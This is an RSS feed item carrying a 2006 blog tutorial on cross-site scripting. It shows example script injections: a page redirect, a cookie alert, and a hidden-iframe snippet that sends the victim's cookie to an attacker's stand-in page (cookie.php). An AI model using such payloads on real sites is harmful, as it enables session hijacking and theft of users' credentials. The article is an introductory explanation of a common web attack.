<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Darknet - The Darkside &#187; cookie</title>
	<atom:link href="http://www.darknet.org.uk/tag/cookie/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.darknet.org.uk</link>
	<description>Ethical Hacking, Penetration Testing &#38; Computer Security</description>
	<lastBuildDate>Tue, 07 Feb 2012 18:34:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cross Site Scripting (XSS)</title>
		<link>http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/</link>
		<comments>http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/#comments</comments>
		<pubDate>Thu, 22 Jun 2006 12:57:49 +0000</pubDate>
		<dc:creator>backbone</dc:creator>
				<category><![CDATA[General Hacking]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[backbone]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[internet-explorer]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/</guid>
		<description><![CDATA[Cross Site Scripting, or know as XSS, is the most common basic web hacking technique&#8230; and harmless, as many would say&#8230; but on this matter I don&#8217;t really agree, that&#8217;s why I wrote this article. About XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<p>Cross Site Scripting, or know as XSS, is the most common basic web hacking technique&#8230; and harmless, as many would say&#8230; but on this matter I don&#8217;t really agree, that&#8217;s why I wrote this article.</p>
<p><strong>About</strong><br />
XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake&#8217;s website [speak about it a bit later]&#8230;<br />
In fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions&#8230;<br />
In a small definition: XSS=JavaScript+HTML</p>
<p><strong>The Call Of Javascript</strong><br />
Even if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don&#8217;t know JavaScript I recommend them <a href="http://www.javascript.com">http://www.javascript.com</a>&#8230; After learning the basics of this wonderful scripting language, you will be ready to go&#8230;</p>
<p>Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?</p>
<p><strong>Posibilities</strong><br />
With XSS you can do &#8220;extreme&#8221; stuff.. let me explain you in a small amount of words what you can do&#8230;. the most simple thing is to redirect the current page to one you like&#8230; an illustrative  example:</p>
<blockquote><p>
&lt;script&gt;<br />
document.location=&#8221;http://what-page.you.want.com&#8221;;<br />
&lt;/script&gt;
</p></blockquote>
<p>Also you could do something like popping up the cookie:</p>
<blockquote><p>
&lt;script&gt;<br />
alert(document.cookie);<br />
&lt;/script&gt;
</p></blockquote>
<p>And if you know a little php you could create a page that save&#8217;s data received via get and stores them in a file/database&#8230;</p>
<blockquote><p>
&lt;script&gt;<br />
var theCookie = document.cookie;<br />
document.write(&#8216;&lt;iframe width=\&#8221;1\&#8221; height=\&#8221;1\&#8221; style=\&#8221;visibiliy: hidden\&#8221; href=\&#8221;http://your.page.com/cookie.php?theCookie=&#8217; +theCookie+ &#8216;\&#8221; &gt;&lt;/iframe&gt;&#8217;);<br />
&lt;/script&gt;
</p></blockquote>
<p>Also there are more possibilities with XSS, you just need some creativity&#8230;</p>
<p><strong>More XSS</strong><br />
I have found a website where I have learned much about XSS&#8230; there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64&#8230; also the different types of attacks are shown on which browsers there are available&#8230; check out <strong>Rsnake&#8217;s</strong> page on XSS: <a href="http://ha.ckers.org/xss.html">ha.ckers.org/xss.html</a></p>
<p></p>
<p>Also a great XSS database can be found at: <a href="http://search.securityfocus.com/swsearch?sbm=%2F&amp;metaname=alldoc&amp;query=XSS&amp;x=0&amp;y=0 ">securityfocus</a></p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Cross+Site+Scripting+%28XSS%29+http%3A%2F%2Fdarknet.org.uk%2F%3Fp%3D220+from+%40THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;t=Cross+Site+Scripting+%28XSS%29" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://www.google.com/buzz/post?url=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;imageurl=" title="Post to Google Buzz"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/gbuzz/tt-gbuzz-micro3.png" alt="Post to Google Buzz" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;title=Cross+Site+Scripting+%28XSS%29" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/delicious/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;title=Cross+Site+Scripting+%28XSS%29" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/digg/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://reddit.com/submit?url=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;title=Cross+Site+Scripting+%28XSS%29" title="Post to Reddit"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/reddit/tt-reddit-micro3.png" alt="Post to Reddit" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/&amp;title=Cross+Site+Scripting+%28XSS%29" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/en/su/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p></div><div class="AWD_like_button "><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.darknet.org.uk%2F2006%2F06%2Fcross-site-scripting-xss%2F&amp;send=false&amp;layout=standard&amp;width=&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=40" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:px; height:40px;" allowTransparency="true"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

